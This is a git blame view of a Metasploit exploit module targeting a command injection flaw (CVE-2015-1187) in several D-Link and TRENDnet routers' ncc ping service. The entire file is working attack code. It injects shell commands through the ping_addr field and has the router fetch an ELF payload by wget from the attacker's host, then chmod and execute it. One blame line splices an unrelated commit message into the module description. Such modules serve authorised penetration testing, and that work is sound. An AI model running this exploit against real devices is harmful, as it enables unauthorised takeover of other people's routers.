metasploit-framework/modules/exploits/linux/http/multi_ncc_ping_exec.rb

189 lines
5.9 KiB
Ruby
Raw Normal View History

2015-03-12 17:55:50 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2015-03-12 17:55:50 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2015-04-15 14:12:03 +00:00
Rank = NormalRanking # Only tested on Emulated environment
2015-03-12 17:55:50 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
2015-04-15 14:22:59 +00:00
'Name' => 'D-Link/TRENDnet NCC Service Command Injection',
2015-03-12 17:55:50 +00:00
'Description' => %q{
2015-04-15 14:22:59 +00:00
This module exploits a remote command injection vulnerability on several routers. The
vulnerability exists in the ncc service, while handling ping commands. This module has
Various post-commit fixups Edited modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb first landed in #5150, @wchen-r7's DOS module for CVE-2015-1635 HTTP.sys Edited modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb first landed in #5192, @joevennix's module for Safari CVE-2015-1126 Edited modules/auxiliary/gather/java_rmi_registry.rb first landed in Edited modules/auxiliary/gather/ssllabs_scan.rb first landed in #5016, add SSL Labs scanner Edited modules/auxiliary/scanner/http/goahead_traversal.rb first landed in #5101, Add Directory Traversal for GoAhead Web Server Edited modules/auxiliary/scanner/http/owa_iis_internal_ip.rb first landed in #5158, OWA internal IP disclosure scanner Edited modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb first landed in #5159, WordPress Mobile Edition Plugin File Read Vuln Edited modules/exploits/linux/http/multi_ncc_ping_exec.rb first landed in #4924, @m-1-k-3's DLink CVE-2015-1187 exploit Edited modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb first landed in #5131, WordPress Slideshow Upload Edited modules/exploits/windows/local/run_as.rb first landed in #4649, improve post/windows/manage/run_as and as an exploit (These results courtesy of a delightful git alias, here: ``` cleanup-prs = !"for i in `git status | grep modules | sed s/#.*modules/modules/`; do echo -n \"Edited $i first landed in \" && git log --oneline --first-parent $i | tail -1 | sed 's/.*Land //' && echo ''; done" ``` So that's kind of fun.
2015-05-06 16:39:15 +00:00
been tested on a DIR-626L emulated environment. Several D-Link and TRENDnet devices
2015-04-15 14:22:59 +00:00
are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L
(Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link
DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
2015-04-15 14:10:18 +00:00
v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
2015-04-15 14:22:59 +00:00
DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2)
2015-04-15 14:10:18 +00:00
v2.01b01
2015-03-12 17:55:50 +00:00
},
'Author' =>
[
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
2015-04-15 14:10:18 +00:00
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
2015-03-12 17:55:50 +00:00
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-1187'],
['BID', '72816'],
2015-04-15 14:10:18 +00:00
['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],
['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']
2015-03-12 17:55:50 +00:00
],
'Targets' =>
2015-04-15 14:10:18 +00:00
# Only tested on D-Link DIR-626L where wget is available
2015-03-12 17:55:50 +00:00
[
[ 'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
[ 'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Feb 26 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
2015-03-26 06:39:36 +00:00
OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),
2015-03-12 17:55:50 +00:00
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
])
2015-03-12 17:55:50 +00:00
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
2015-03-26 11:16:20 +00:00
'uri' => normalize_uri(target_uri.path)
2015-03-12 17:55:50 +00:00
})
# unknown if other devices also using mini_httpd
2015-04-15 14:10:18 +00:00
if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
2015-03-12 17:55:50 +00:00
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
2015-04-15 14:10:18 +00:00
def exec_command(cmd, timeout = 20)
2015-03-12 17:55:50 +00:00
begin
res = send_request_cgi({
'method' => 'POST',
2015-03-26 11:16:20 +00:00
'uri' => normalize_uri(target_uri.path),
2015-03-12 17:55:50 +00:00
'encode_params' => false,
'vars_post' => {
2015-04-15 14:10:18 +00:00
'ccp_act' => 'ping_v6',
'ping_addr' => '$(' + cmd + ')'
2015-03-12 17:55:50 +00:00
}
}, timeout)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
def primer
@payload_url = get_uri
wget_payload
end
def exploit
print_status("Accessing the vulnerable URL...")
2015-03-12 17:55:50 +00:00
unless check == Exploit::CheckCode::Detected
2015-04-15 14:10:18 +00:00
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
2015-03-12 17:55:50 +00:00
end
print_status("Exploiting...")
2015-03-12 17:55:50 +00:00
@pl = generate_payload_exe
2015-04-15 14:10:18 +00:00
@payload_url = ''
@dropped_elf = rand_text_alpha(rand(5) + 3)
2015-03-12 17:55:50 +00:00
if datastore['EXTURL'].blank?
begin
2015-04-15 14:10:18 +00:00
Timeout.timeout(datastore['HTTPDELAY']) { super }
2015-03-12 17:55:50 +00:00
rescue Timeout::Error
end
chmod_payload
exec_payload
else
@payload_url = datastore['EXTURL']
wget_payload
chmod_payload
exec_payload
end
end
def wget_payload
2015-04-15 14:10:18 +00:00
upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)
2015-03-12 17:55:50 +00:00
2015-04-15 14:10:18 +00:00
cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"
2015-03-12 17:55:50 +00:00
print_status("Downloading the payload to the target machine...")
2015-03-12 17:55:50 +00:00
res = exec_command(cmd)
2015-04-15 14:10:18 +00:00
if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
register_files_for_cleanup(upload_path)
2015-03-12 17:55:50 +00:00
else
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
end
end
def chmod_payload
cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
print_status("chmod the payload...")
2015-03-12 17:55:50 +00:00
res = exec_command(cmd, 1)
2015-04-15 14:10:18 +00:00
unless res
2015-03-12 17:55:50 +00:00
fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
end
2015-04-15 14:10:18 +00:00
Rex.sleep(1)
2015-03-12 17:55:50 +00:00
end
def exec_payload
cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)
print_status("Executing the payload...")
2015-03-12 17:55:50 +00:00
res = exec_command(cmd, 1)
2015-04-15 14:10:18 +00:00
unless res
2015-03-12 17:55:50 +00:00
fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
end
2015-04-15 14:10:18 +00:00
Rex.sleep(1)
2015-03-12 17:55:50 +00:00
end
2015-04-15 14:10:18 +00:00
# Handle incoming requests to the HTTP server
2015-03-12 17:55:50 +00:00
def on_request_uri(cli, request)
print_status("Request: #{request.uri}")
if request.uri =~ /#{Regexp.escape(get_resource)}/
2015-04-15 14:10:18 +00:00
print_status('Sending payload...')
2015-03-12 17:55:50 +00:00
send_response(cli, @pl)
end
end
end